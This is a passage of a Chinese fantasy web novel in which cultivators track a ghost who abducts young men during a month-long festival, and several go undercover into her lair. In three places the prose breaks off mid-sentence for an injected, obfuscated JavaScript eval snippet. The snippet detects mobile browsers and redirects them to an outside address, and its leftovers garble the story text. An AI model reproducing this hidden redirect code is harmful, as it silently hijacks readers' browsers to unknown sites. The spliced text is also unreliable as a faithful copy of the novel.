鹊桥会七月初一开办,直到七月三十结束,在此期间,只要女鬼的鬼仆在外看到样貌齐整的男子,也不顾人家愿不愿意,直接强行掳走,如今不过几天,已有不少年轻男子因此消失,致使青橘城百姓惶惶不得终日。 一般而言,厉鬼行动在外要躲避白天,但也不知她得了什么机遇,竟能白日行走,神出鬼没,饶益修士们多番追踪,也没能找到失踪男子被藏在哪儿。 恰好此时,莲送归的和尚迦象子与其师兄迦兕子游历至饶益,便言身为莲送归弟子,他们也要助汨罗坞一臂之力,他们二人会一种佛门超度阵法,保证这鬼会安然投胎,再不能作乱人间,不过此阵必须两人合力开启。 只可惜在外游荡的鬼仆趁所有人不注意,将迦兕子禅师瞬息卷走,徒留在外的迦象子小师傅,千方百计也联系不上师兄。 祝墨之便出了个引君入瓮、瓮中捉鳖的计划,迦象子做饵,汨罗坞修士埋伏四周,能杀了那鬼最好,杀不了的话,迦象子小师傅也能去女鬼的老巢寻找师兄迦兕子,到时与汨罗坞里应外合。 然而这计划只开个头,便被从天而降的萧衔蝉他们打断了。 迦象子在旁失望:“女鬼未曾将贫僧带走,还不知什么时候能联系上师兄。” 今日是七月六,他与汨罗坞修士早就等在胭脂河畔,待他诱鬼现身,盼望在今夜之前让女鬼选他入鬼宅,他再与师兄迦兕子合力布阵,超度女鬼,以免诸多鬼仆出来扰乱人间。 不成想半路杀出萧衔蝉他们一群程咬金。 “你们也不细想想,有我们汨罗坞在,我们掌门、长老怎么可能坐视鬼怪祸害人间?”一穿弹墨诗词长衫的女修不满地瞪了萧衔蝉他们一眼,嘟囔道,“要你们多管闲事,坏了师父计划。” 祝墨之连忙喝止:“词乎,不许无礼!诸位道友不晓得来龙去脉,也是好心办错事,快道歉!” 名为宋词乎的女修心不甘情不愿地道歉,虽然很不愿意,但还是遵照师父的话行事。 祝墨之这才满意,彬彬有礼道,“还未请教诸位道友尊门尊号。” 萧衔蝉因为扰了人家计划,正在内疚,闻言自我介绍道:“我们是朋来弟子,就是有朋自远方来,不亦乐乎的朋来。” 她说到这停了一下,尴尬笑道:“对于你们来说,会不会想把我们‘有朋自远方来,虽远必诛’啊?” 虽然“朋来”这个名字听上去奇奇怪怪,且疑似与近来猖獗地蹭蓬莱岛热度的诈骗团伙相差无二,这几个人看上去也很不靠谱,但祝墨之还是秉持着汨罗坞弟子应有的礼节,友善地招待了他们。 汨罗坞作为饶益之主,在青橘城也有落脚的地方,祝墨之引众人踏过马齿桥,走进城中的一座书肆,甫一转进影壁,便见成千上万册书卷打开,置于长桌上,晒在院子里,风吹过,书页沙沙作响。 阳光拂过一个个字,阵阵墨香袭来,此间温暖敞亮,自然与胭脂河的阴冷幽暗大相径庭。 众人入室坐定。 “为今之计,只有明日我自愿去选鬼侍君,再入鬼宅一探究竟了。”迦象子道,“只是不知已有多少凡人遭殃了。” 小禅师清秀的眉毛微蹙,流露出不忍之态。 祝墨之亦是上心,他道:“这也是无法躲避之事,事后咱们彻底降伏那鬼,为无辜牵连的凡人报仇雪恨也就是了。” 打扰了人家计划的萧衔蝉他们愧疚又尴尬,想了又想,几人对视一眼,萧衔蝉道:“此事因我们而横生枝节,我们也该尽一份绵薄之力,不如让我师兄们也与诸位一同去选鹊桥会?” 花沸雪和金不禁二人立刻连连点头,表示他们愿意。 打方才就一直沉默的谢无柩突然开口:“祝道长,你说这鬼是每百年便出现在青橘城,这是说……杀了此鬼多次,她却能复又归来?” 祝墨之点头称是。 谢无柩缓缓道:“人死为鬼,鬼死为聻,聻死为希,希死为夷。” “视之不见名曰夷,听之不闻名曰希。”祝墨之苦笑,“可我们汨罗坞降伏那只鬼已有四次了,她便是再厉害,希夷之后也该化为乌有,怎可能还如现在般有形有声?” 谢无柩微微摇头:“夷皆以鬼为食,若被吞噬的鬼心甘情愿,夷便能保留原本的灵智。” 迦象子不解道:“可贫僧看《幽冥录》上说,鬼被所食时痛苦非常,怎会有心甘情愿被吞噬的鬼?且聻、希、夷居于聻冥幽境,怎会和鬼一样在外界游荡,难不成冥界崩了?” “的确如此。”谢无柩施施然道,不知是在赞同迦象子,还是赞同冥界崩了这句话,“我也只是突然想起,才有此一问。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952900|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧衔蝉生怕迦象子这番话会将谢无柩好不容易建立起的一点自信又给打击了,她连忙补充道:“或许那鬼遇到什么机缘呢……” 话音未落,谢无柩的话就惊得她“腾”一下子从椅子上站起来。 谢无柩说:“我想同迦象子小师傅一起前去厉鬼老巢。” 萧衔蝉瞪大眼睛,声音提高了八度:“你选完花魁还不够,还想去选女鬼赘婿!” 她从不知道谢道友的胜负心竟然这么强,什么选拔比赛都要参加。 谢无柩不知萧衔蝉在想什么,不过他入鬼宅确实是别有目的,此时只怕萧衔蝉一行人打扰他的计划,尤其她是个不按套路出牌的妖,于是不得不忍下“女鬼赘婿”这个称呼,咬牙切齿道:“我只是想尽自己的绵薄之力罢了。” 他顿了顿又道:“毕竟全是修士去那什么鹊桥会,那些鬼仆便是傻子也该觉察出不对劲来,我如今虽法力尽失,与凡人无异,可体魄却非凡人能比,何不叫我假做凡人,与汨罗坞和迦象子禅师一道。” 蓬莱岛的四人面面相觑,在他们心中,谢道友着实是个极富正义感的好修士,先前他如何不计前嫌、知恩图报就不提了,单看他如今为了一城百姓甘愿赴险,他伟岸的形象在蓬莱岛几人心中就更高大几分。 迦象子说出他们之前和汨罗坞议定的办法——他们打算先入鬼宅一探究竟,打探清楚这厉鬼因什么才能数次“死而复生”,然后他与师兄就在鬼宅布下地藏十轮阵,破解她“复生”的秘法,将她超度,送入轮回。 萧衔蝉听罢他们这个可行性全靠运气的法子,不知说什么好,半晌方问:“诸位有没有调查过这女鬼生前是何人,因何而死?” 俗话说冤有头,债有主,说不定寻到女鬼死因,就能寻到她为何在希夷之后还能作乱的原因。 宋词乎摇头:“之前那鬼扰乱人间都是由家师降伏的,家师事物繁忙,哪有时间调查鬼物过往,再说了,一只厉鬼罢了,什么了不得的东西,还要查前世今生么?。” 萧衔蝉悄悄翻了个白眼,不想和这个姓宋的女修多说话。 金不禁不解道:“那鬼不是每百年都会办一次什么鹊桥会吗?你们竟没觉得不对劲?” 祝墨之苦笑:“在下平日专心修炼,从不多看凡间,之前只是晓得青橘城每百年都有鬼怪作乱,再想不到这作乱的鬼怪竟是同一个,也是这次来相求的凡人多嘴一句鹊桥会,我们这才意识到……” 大家都不知道该说什么好了,这汨罗坞真是两耳不闻窗外之事,一心只走修仙大道。 萧衔蝉想了想又问迦象子:“小师傅,你确定你说的什么地藏十轮阵可以完全超度了那个厉害的女鬼?” 迦象子微微一笑,宝相庄严道:“此阵乃是我莲送归佛子玉蜉子师叔与其友人一同制出的阵法,曾在千年前丰溢举办的十方法会上超度了上万祟灵,功力极大,若是此阵都不能将那鬼送入轮回,我就去给她当赘婿去。” 地藏十轮阵自被创造出,就是莲送归的秘法,只有亲传弟子会布此阵,且此阵需一个在阵眼充当菩萨发宏愿,一个在阵眼充当谛听察人心,故而需要两个禅师合力完成此阵。 这也是迦象子为什么着急入鬼宅寻师兄的重要原因之一。 听到“超度祟灵”四个字,谢无柩的眼睛微不可见地沉了一瞬,修长的手指慢慢摩挲着扶手,暗沉的红木衬得他愈发沉稳。 32. 汨罗坞(四) 窗外竹影掠过粉墙,窗内众人还在为如何骗过女鬼而商谈。 萧衔蝉见谢无柩表情虽然没有变化,可周身却萦绕着不愉之气,便悄悄拉了拉他的袖子,传音入密道:“怎么了,为什么突然不高兴了?” 谢无柩只将袖子扯回来,亦传音入密回答她:“没什么”, 声音冷淡,原本不欲多说,可思及身旁这人是个打破沙锅问到底的性子,又多说了一句:“只是觉得入轮回没人们想得那般好。” 难道还有更好的解决胭脂河女鬼的法子?萧衔蝉疑惑:“那你觉得比入轮回还好的法子是什么?” 谢无柩声音漠然:“自然是魂飞魄散,与天同殒,与地同亡。” 萧衔蝉撇嘴,还以为他能拿出什么好主意呢,没想到这么大个人竟还是个中二病。 她正要打趣几句,却忽觉不对劲,仔细看谢棺一张白玉似的面庞,黑漆漆的眼珠子像在寒潭里泡过般,周身更冷了几分。 萧衔蝉不由皱眉,看他这副模样竟是认真的!如此看来,很可能谢道友现在已经有了厌世甚至轻生的想法啊! 她扭头看向谢棺,心中焦急,想到谢棺因为再不能修炼,身体承受痛苦也就罢了,心里比身体还痛苦百倍,她就焦心。 不行!萧衔蝉打定主意,她一定要找到能帮助谢棺重新修炼的天灵地宝。 至于这次他说要与迦象子禅师他们一道入鬼宅,萧衔蝉虽然担忧不已,可一想到谢棺的心理状态,她就将阻拦的话又咽了回去,罢了罢了,看来只能多给他些保命的法宝和符箓了。 正在萧衔蝉陷入沉思时,窗外晒的书在微风吹拂下,印在纸上的墨字渐渐脱离纸张,浮现在书页之上,聚集在一起。 墨色似点水而散,晕染开来,云雾般的浓墨缓缓变成一个个连续的画面。 祝墨之见大家好奇地看过来,便介绍道:“这是我们汨罗坞的法术,名曰云蓝书,有道是‘道士有神传火枣,故人无字入云蓝’,便是如此了。” 说着,他拔下插在发冠里的毛笔,左手掐诀,一锭墨便自动在砚台里研出一汪浓淡得宜的墨,白玉竹管紫毫笔捏在他指尖,蘸墨,悬肘而书“盛世太平”四字。 只见四个墨字凭空出现,像墨水般汇聚一起,形成了一个墨色的框,框里有山民砍柴,渔歌互答,百姓安居乐业,青冥之上,修士们踏云而行,个个仙风道骨,好一派盛世之景。 金不禁赞道:“以字为景,好高明的术法!” 祝墨之谦虚道:“我这也不算什么,若是如我师父、师祖他们那般高的修为,甚至可一字定生死。” 他笑看还在展示盛世气象的墨画:“我们师父时常教导我们,汨罗坞既然是饶益百姓所敬仰之主,自然要为饶益百姓们多考虑,这安详之景,亦是我们汨罗坞多年努力之所向。” 祝墨之一席话说的掷地有声 他又笑道:“此番入鬼宅一探究竟,全是为一城百姓安危,还请各位不吝赐教。” 萧衔蝉也在想这件事,闻言道:“既然你们要通过选鹊桥会去鬼宅,易容改头换面自不必我多说,可你们知道女鬼会偏好怎样的男子吗?” 祝墨之和迦象子面面相觑,谢无柩波澜不惊的表情微微一僵,他又有种熟悉的不详预感了,这次这个妖修要怎样荼毒他? 萧衔蝉一看他们的表情就知道这群男人都如何讨女人欢心一点都不知道,她无奈摇头叹气:“也罢,在我们出门去查女鬼生前事之前,得给你们补一补男德课。” 祝墨之讶异地睁大俊秀的眼睛:“男德?在下孤陋寡闻,竟不知还有男德一书。” 萧衔蝉笑得高深莫测:“俗话说得好,男德男德,歪瑞古德。” 一堂由萧衔蝉教学的男德课持续了一个时辰。 一个时辰后,萧衔蝉带着小师妹和汨罗坞的女修们离开,这间清雅的书坊只留下几个或目光呆滞,或醍醐灌顶的男修。 谢无柩看着眼前一幕,心中感叹这妖修越发厉害,以前只是荼毒人的精神,如今竟然开始给人洗脑,若是能好好利用她,何愁他的大计不成? 但转念一想,要利用她就要与她长久相处,谢无柩还没有自信保证自己在大计成功前不会被她气死,只得作罢。 再看萧衔蝉这边,六名女孩子走过青石板大街上,两边是细巧的竹楼,穿过竹楼,楼畔是缓缓流淌的河流,马齿桥横跨河面,女孩子们拎起裙子,踮起脚尖走过马齿桥。 一块块微湿的桥面上是摇曳的妙龄女子,端的是一副美景。 相较于萧衔蝉和师妹一蹦一跳的姿势,汨罗坞的女弟子们行动坐卧都极有韵律,好似一排小竹子过河。 “如今我们还不知道那厉鬼姓甚名谁,家住何方,可有家人在世,若是她还有家族后人,说不得以亲缘也能感化她。”萧衔蝉蹙着眉头,低头看脚下从马齿桥缝冲刷过的白沫。 秦含玉道:“但凡她是青橘城人,必有户籍在官府造册,只是我们如何进得去官府查看?” 听到她们说要查一查那女鬼生平事,想要看青橘城近百年的户籍卷宗,宋词乎高傲道:“这有何难。” 萧衔蝉惊讶:“这些卷宗往往由凡间官府保存,即便我们是修士,想要看到这些也非易事吧。” 一名坠在队伍最后面的女修温婉一笑:“饶益各城皆由汨罗坞的修士管辖,我们去查这些卷宗便宜得很。” 萧衔蝉见人如此是说,惊讶不已,女修迎着她惊讶的目光笑道:“在下梁砚之。” 在队伍前方领路的宋词乎也道:“两位道友放心,饶益不似其他几州,还有凡人国度,饶益十二城皆由汨罗坞长老坐镇,各处关卡都是我汨罗坞人,调查个把凡人生平,再简单不过。” 在萧衔蝉为汨罗坞对饶益的掌控力震惊时,汨罗坞众女修直接寻到负责青橘城的修士唐诗乎。 唐修士二话不说,带着她们来到保存青橘城户籍、诉讼、田亩等卷宗的天禄阁。 天禄阁里整整齐齐码着成千上万个竹架,每个架子上都分门别类摆满籍册,这些架子填满了三个大房间。 光是看看这些书册的数目和厚度就知道,想从这浩如烟渺的册子里找出五百年前符合女鬼特征的人是多么大的一件工程。 萧衔蝉和秦含玉认命般叹口气,一人拿起一本册子,正要一页页翻过时,萧衔蝉见梁砚之的指尖轻点自己的法宝砚台,清澈的水渐渐从砚底汪出来,而后万千水珠腾空而起,宛如雨幕悬于空中,飞向一册册书,霎时间,水雾晕染开墨字,半空浮现出一幅又一幅的墨画。 倏尔,这些画齐齐动了起来,一幅幅动起来的墨画展示出一个个人的生平。 凡人生平都大差不离,混沌出生,一辈子为碎银几两忙忙碌碌,最后又混沌而死。 萧衔蝉和秦含玉一起放出神识,所有画面似倒下的墨汁般,同时涌进她们的脑袋里。 秦含玉没坚持多久就痛呼出声,纷杂又庞大的画面挤得她脑仁疼。 萧衔蝉倒觉得自己还好,见小师妹如此,担忧地看过去,可是不知怎的,她觉得身体动不了,似乎是被这些墨画困住了一般。 梁砚之一对柳眉微蹙:“要不还是算了吧,不过区区一鬼魂而已,便是有些神通,也不足为惧。” 萧衔蝉和秦含玉却坚定地摇脑袋,继续探查这些凡人女子的生平,只是卷帙浩繁,两人看到最后,皆力竭筋乏地靠着书架,灵台里还被一股又一股的墨画冲击,太阳穴突突直跳。 萧衔蝉觉得自己本就残垣断壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958423|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的灵台更破了。 梁砚之劝道:“你们方才看过的只是一些没有灵根的凡人生平,有灵根的女子生平籍册你们还没看呢,何苦来,迦象子禅师有法超度她,咱们还管她生前事做甚?” 她以为面前这位朋来宗的女修会说“为了更好地降伏厉鬼。” 谁料萧衔蝉捏着眉心,脸色苍白道:“我好奇她以前是什么模样?” 初次见那名女鬼,只看得到她腐烂的脸、空洞的眼睛,蛆虫从她的鼻孔钻出来,满身痛苦与怨恨,这样的鬼做人时是什么模样?她又因何变成这般模样? 萧衔蝉和秦含玉不过都是筑基,看完所有籍册,再也支撑不住,坐在地上缓了好久,此时太阳西斜,也该回去。 秦含玉便去隔壁唤其他汨罗坞修士,在隔壁查验的宋词乎亦才看完籍册,她与秦含玉说:“两位道友先回去罢,我等许久不见下山历练的小师弟,想与他聚一聚。” 萧衔蝉在门口听到,发现梁砚之站在她边,于是问道:“梁道友不与同门相聚么?” 梁砚之扑哧一声:“萧道友真会说笑,你观我名砚之,可见我是之字辈的弟子,与乎字辈的弟子不大熟悉,谈何相聚?我送二位回去。” 萧衔蝉恍然大悟:“是了,梁道友应当与祝墨之道友是一辈的。” 秦含玉与宋词乎道别,和师姐一起离开天禄阁,外面又飘起牛毛般的小雨,青色云雾更加暗沉,一座座竹楼在烟雨中愈加温润,阵阵炊烟在雨丝中荡悠悠飘远,夹杂着腊肉青笋饭的香味。 秦含玉伸了个懒腰:“好香的味道,师姐,改日咱们也买头猪,叫谢无柩杀了腊起来。” 梁砚之笑道:“你们若想做腊肉,这个时节可不成,青橘城正值梅雨季,腊肉会发霉。” 萧衔蝉道:“是啊,梅雨季哪是做腊肉的时候?也不怕霉坏了。” 秦含玉奇怪地看了她一眼,道:“不妨事,凡人无法左右时气,我们做修士的难道还不能?” 青砖小路被雨润得玛瑙石子一样亮,一片雨幕在胭脂河上白蒙蒙飘着,走过家冒热气的竹楼,梁砚之笑问道:“我们青橘有出了名的甜酒,我请你们喝一碗?” 寻常修士非灵植灵兽不入口,甚至有些修士连灵植灵兽都入不了他们的眼,因为担心体外杂物入口,会污了经脉,耽误修行,但梁砚之不担心被拒绝,经过今日与朋来宗的两人相处,她想,这两人肯定会答应的。 果然,萧衔蝉点头,拉着秦含玉一起坐在甜酒铺子里,对老板娘吩咐:“给我们这桌每人上一碗甜酒酿。” 不多时,两碗热腾腾的甜酒就端了上来,二人接过碗,萧衔蝉却不见第三份,正要跟老板娘说,便听梁砚之道:“我不吃,二位道友不必管我。” 萧衔蝉只得作罢,粘稠的甜酒里还浮着糯糯的圆子,吃一口,酒酿和米香一齐将肺腑都暖起来。 她俩一边吃,一边听老板娘跟店里其他客人介绍胭脂河—— “这条河原名青橘河,与青橘城一个名,后来有一个仙子来到咱们青橘城游历,与她一同来的道长是她师兄,仙子极爱她师兄,可惜郎心似铁,道长怎么也不同意共结鸳盟,后来仙子就跳河死了,那仙子名叫胭脂,这条河也便叫胭脂了。” 听此传闻,众人皆是唏嘘不已,萧衔蝉她们却觉得匪夷所思,一个走修仙大道的女人怎会被河溺死? 梁砚之苦笑:“都是河岸人家为招揽生意编出这么个故事来,咱们何苦跳出来说不是,平白断了他们生计,吃甜酒罢。”她轻轻嗅闻一下,“这酒酿略微酿过头了,有些发酸,改日让萧道友尝尝我的手艺。” 萧衔蝉笑道好,秦含玉吃了一大口圆子,含糊道:“是好吃。” 萧衔蝉含笑敲敲师妹脑袋。 33. 汨罗坞(五) 吃罢甜酒,三人各撑一把伞,一路无言,回到书坊,刚打开门,三人就被眼前景象惊到失语。 只见金不禁挽着谢棺的胳膊,翘起兰花指将头发抿到耳后,夹声夹气道:“姐姐你看他,就是他推倒了人家,好疼啊,嘤~” 顺着他的兰花指放向看去,迦象子小师父一脸佩服,然后从怀里掏出个本子,奋笔疾书地记着什么,嘴上还道:“原来这就是金道友说的‘男人会撒娇,女人魂会飘’,多谢金道友演示给贫僧看,贫僧定会好好观摩,不辜负道友苦心!” 迦象子小师父的语气很坚定。 金不禁豪爽笑道:“当年我和同门一起进戏班子赚钱,演员不够,少了个恶毒男配,我三师妹就推我去演,因为恶毒男配结局死了,我还多拿了个红包。不成想当年锻炼出的演技如今也派得上用场。” 迦象子颇有所悟,自言自语道:“这就是所谓的凡所经历,铸就成人的意思吧?多谢金施主与谢施主开悟。”他合上本子,看向门口,“二位施主回来了,萧施主,你观我做派,可有几分金施主的风采?” 说着,他生硬地抛了个媚眼。 萧衔蝉抿了抿唇,看向谢无柩,却见他死死盯着门口。 萧衔蝉好奇走过去:“怎么了?” 大门已被关上,将夜风细雨挡在外面。 谢无柩微微蹙眉:“没事。” 青橘城天禄阁里,酒过三巡,菜过五味,有修士细咂摸着酒,品味回甘,陶醉道:“这般好酒,唐师弟你不厚道啊,若非咱们师兄妹们做任务来到青橘城,恐怕也没机会品一品。” 唐诗乎笑道:“师兄哪里话?我还怕师兄看不上眼,不过是本地一些世家送的,也是看在家师曾做过此城城主的面子上,这是借我向家师示好呢。” 众人立刻笑骂道:“你们两个禄蠹,难得咱们同门相聚,提那些俗务做甚?还不快快联首诗来,不负你我相聚之乐!” 一修士喝得晕头转向,乐呵道:“我有一句戏本子里看来的话,便先说了,摆不完的阔气——” 正品酒的修士马上联道:“弄不完的权。吃不完的珍馐——” “花不完的钱。听不尽的颂歌——” “收不完的礼。享不尽的富贵——” 席中充满快活的气氛。 宋词乎一闻此话,满腹怒气压也压不住,这帮人哪还有一点汨罗坞修士的样子?她正要发火,便看到宗门传讯玉印亮了一下,她撇开越来越闹得没王法的宴会,来到天禄阁籍册处。 远远看见一人,玉笔绾发,白衣蹁跹,祝墨之正在此等候。 宋词乎连忙行礼:“弟子见过师父。” 祝墨之温和笑道:“我不是有意扰你们相聚,只是来问一句,可找到那鬼的生平?” 宋词乎道:“弟子遍查籍册,俱无相似者。”她踟蹰一番后又道,“且籍册保管失当,有些籍册已被虫蚀,更有甚者丢失数页。” 师父一向公正,宋词乎怕说出籍册保管失当这件事导致管理青橘城的师弟受责罚,但师父也教导她为人以诚、为人以正,她看到了,便不能当做没看到。 祝墨之看着窗外嘀嗒不尽的雨,点点头:“无妨,找不到也不要紧,一个鬼修罢了,我还是能应付得过来的,你回去吧,莫让我扰了你们雅兴。” 宋词乎敬仰地看着师父,在心中感慨一番师父的慈心,而后恭恭敬敬告退了。 第二日一大早,细雨绵绵,历经萧衔蝉男德课堂和金不禁玫瑰男人课堂洗礼的一行人,打扮一新,带着各自的传讯符出了门。 虽然迦象子的师兄也带了传讯符,可这几天依然没能联系到他,大家都怀疑传讯符在鬼宅是否有用,但以防万一,还是带上了。 一路上没有遇到任何青橘城的百姓,凡人们每年七月都闭门不出,生怕被鬼拉去,从此生死不知,这就显得吊脚楼之间行走的他们非常惹眼。 青石子路那头突然出现一位八十岁的老大爷,大爷穿得破破烂烂,提着一兜子野菜,看见他们,压低嗓音好心提醒:“你们是外地人吧?怎么敢在城里大摇大摆地走?我们这闹鬼,专会抓俊俏郎君去做鬼夫婿,你们虽说长得不甚惹眼,但咱们男人在外也要保护好自己,快快寻间空房遮身罢!” 躲在书坊二楼看见这一幕的萧衔蝉感叹道:“这位大爷真是心善。” 就是审美不太好,他们那一行人,谢无柩光风霁月君子无双,金不禁风流倜傥潇洒不羁,迦象子小师傅也圣洁青涩,别有一番风情,都是各具特色的美男子,怎么就长得不甚惹眼了? 那日几人从胭脂河走去青橘城书坊,一路上多少女修和小娘子都目不转睛地盯着。 秦含玉感慨:“也不知道在大爷眼中,什么样的男子才算好看?” 她们几人在楼上可以一笑而之,但在楼下的几人可就不知说什么才好了。 一行人就是为了引鬼注意,才打扮得俊朗无匹,大摇大摆走在街上,正想着怎么安抚老大爷,让老人家放心,就见不远处,接天如丝细雨中飘来一团灰色,不细看的话还以为那是云雾。 只饶益地界的云都碧青白翠的,萧衔蝉不多时便反应过来那是厉鬼的鬼仆。 常年在此地生活的大爷也发现了飘荡的鬼魂,他颤巍巍跪下,哀哀哭嚎:“鬼大人别逮老汉,虽说我长得好,但我已有爱妻,不堪服侍鬼大人。” 鬼魂飘近,看样子是一年轻女子,她一脸嫌弃:“便是你没有爱妻,也不堪服侍我们大人,你这老头也不把镜自照?长得跟橘子皮似的,侮辱谁的眼光呢?” 说着,鬼仆又看向谢棺几人:“哟呵,你们长得倒是不错,跟我走。” 说着,胳膊像云雾一样散开,又凝成一根云绳,紧紧捆住几人,转瞬就消失不见了。 花沸雪看着远处雨雾缭绕山峦,担忧不已:“我能感觉到街上有不少鬼气,多是不入轮回的鬼魂,这地界忒古怪。” 人皆有三魂七魄,死后则魂灵入轮回,可如今饶益满是未入轮回的鬼气,也难免让人觉得奇怪。 萧衔蝉此时无暇思考这古怪之处,用潜行符掩盖身形痕迹,悄悄跟在谢无柩一行人之后,许是用了潜行符的缘故,她觉得自个身轻如燕,如影随形,竟比师兄师妹们跟得更紧。 只见鬼仆飞身千里,来到了胭脂河畔,河面如玉,雨丝如凿,将河面凿出成千上万的玉粒,两河沿岸青山苍翠,一群喜鹊破雨而出,这些喜鹊羽毛杂乱,有些已露出白骨,显然是已死去的喜鹊,鹊鸟翅膀相叠,宛如一座桥,搭在青山之上。 鬼仆飞身踏上鹊桥,鹊鸟簇成一个球,将其团团围住,霎时间化为墨雾,带着金不禁、谢无柩和迦象子小师傅消失了。 萧衔蝉一直悄悄跟在他们后面,但她刚踩上鹊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969341|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桥就被颠了下去,在鹊鸟簇成球时,她连忙抓住最后一只喜鹊的脚,雨丝如针,扎着她的脸,萧衔蝉紧闭双眼,屏住呼吸,没入浓绿的青山时感到脚腕一凉,她回头看去,正是梁砚之。 梁砚之在这狼狈之际依然温婉,递给她一个坚定的眼神,仿佛在说“我随道友一起。” 霎时间,人影消失不见,胭脂河两岸重归平静。 花沸雪与秦含玉大惊,连忙在飞讯密域中喊萧衔蝉,却不见回音,他们焦急地看向汨罗坞修士,想问他们眼下情况该如何是好,却见祝墨之脸色煞白。 “祝道友?祝道友?”花沸雪一连叫了几声,祝墨之方回神。 秦含玉脾气急,快人快语:“祝道友,眼下不是愣神的时候,汨罗坞坐镇饶益多年,可曾见过这样的术法?我等如何才能寻到那鬼盘踞之地?” 祝墨之喉头滚动,哑声道:“这等术法我也闻所未闻,不过诸位不必担忧,待我禀告我派掌门,求得掌门密宝,这些伎俩便不堪一击了。” 花秦二人不愿随祝墨之回去,在河岸担忧徘徊,遍寻而不得其法,更加焦急。 萧衔蝉抓着鹊鸟的利爪,在密集的山林里行进数百里,树枝如爪,在她脸上划出道道印子,她不得不紧闭双眼,可叹抓着她脚腕的梁砚之竟还能坚持下来,不被甩出去。 不知过了多久,萧衔蝉隐约感到鹊鸟带领她突破了什么结界,一阵白光闪过,紧接着,就看见群山遍布连绵不断的竹林,似一片翠绿的绒毯,其中一座最高的山峰之上挂着一轮圆月,月辉洒向大地,此处与外界雨急湿冷的感觉全然不同,这里温暖如春。 鹊鸟们飞向山谷,谷中竹林茂盛,一条清水河蜿蜒盘旋,倒映着一林新梢,河畔搭着一座吊脚楼,鹊鸟落在吊脚楼前的台子上。 清水河流向南,约三四里处便是断崖,河水无所防备坠落,形成瀑布,砯崖转石如雷鸣,激着竹叶簌簌飘落,显得精致的吊脚楼平添几分磅礴气势。 鹊鸟到目的地后就四散飞离,竹门无风自动,走出来几个鬼仆迎接:“可算又抓到人了,真是好货色,主人一定喜欢。” 他们打量谢无柩三人的面容,露出得意笑容,正要寒暄一番,突然肃了肃神情,押着谢无柩他们走入楼内。 萧衔蝉借由潜行符隐藏身迹,她见梁砚之亦未引起此处鬼仆注意,料想她也有秘法隐身,便只传音道:“梁道友,我们这就跟上去。” 大门紧闭,只有一处窗户留了一条缝,萧衔蝉小心翼翼地趴到缝隙往里看,空无一人,估摸那些鬼仆都往更里面去了,她这才一用力,翻了进去。 这里充作客厅,只摆桌椅等物,但布满灰尘,似无人打扫,柱子上挂着一对木匾,上面字迹已辨认不清,正中一幅画,画的是牛郎织女会七夕,只见鹊桥上一双身影被圆月映照,鹊桥下是广袤无垠的银河。 萧衔蝉慢慢踱步到一侧小门,伸出一根手指轻轻碰了碰,没成想这小门竟然开了,她没急着进去,站在原地沉思良久。 梁砚之不由问道:“为何不进去?” 萧衔蝉皱眉:“我觉得不对劲,这一趟未免太顺了吧?那鬼分明已是元婴,且身怀秘法,希夷之后尚能存世,她的老巢就没个鬼仆看守,任由我这个筑基期来去自如?” 她细细回想方才经过,越想越觉得蹊跷,好似自己一举一动都被人算计到了似的。 34. 汨罗坞(六) 萧衔蝉觉得自己忽略一个非常重要的事,可越用力想越想不出,梁砚之蹙起一双柳叶眉劝解道:“萧道友会不会太多虑了,许是那些鬼仆偷懒,不曾好好当值。” 萧衔蝉摇摇头:“小心驶得万年船,梁道友,你伸手。”她将一张潜行符和一沓护身符放入梁砚之手中,“这是我师父写的符,威力巨大。” 说着,她自己也在身上贴了好几张符,远远看去,像系了一圈绿腰带。 做足准备,萧衔蝉这才说:“行了,咱们悄悄进去吧。” 小门通往内部回廊,这座吊脚楼是四合水式楼,不高,只三层,但极大,一层楼至少有百间屋舍。 萧衔蝉提高警惕,放出神识,沿着回廊慢慢走,每走过一间屋子,她都要用神识查看一番,发现这些屋子都是空的,但内部很干净,有人居住使用的痕迹。 夜幕降临,圆月高悬于云雾之后,月光丝毫也没从云层泄出,红色灯笼晃晃悠悠,仿若鬼影,突然,某处响起一片嘈杂声,间或夹杂着几个鬼仆说:“他跑了!” 萧衔蝉寻声望去,只见一抹红色身影飞上屋顶,月华照耀下,一颗光头显得格外耀眼,正是迦象子小师父。 迦象子不敌众鬼,终被压住,大声呼喊:“师兄,我是迦象子啊师兄,师兄你能听到吗?” 某个遥远的屋子中传出声音:“迦象子,师兄在这里,你怎么也进来了?” 二人“隔山对歌”的声音没保持多久就被鬼仆打断了,鬼仆撕下一只手,迦象子的嘴被黑雾样的手死死塞住,想吐都吐不出来。 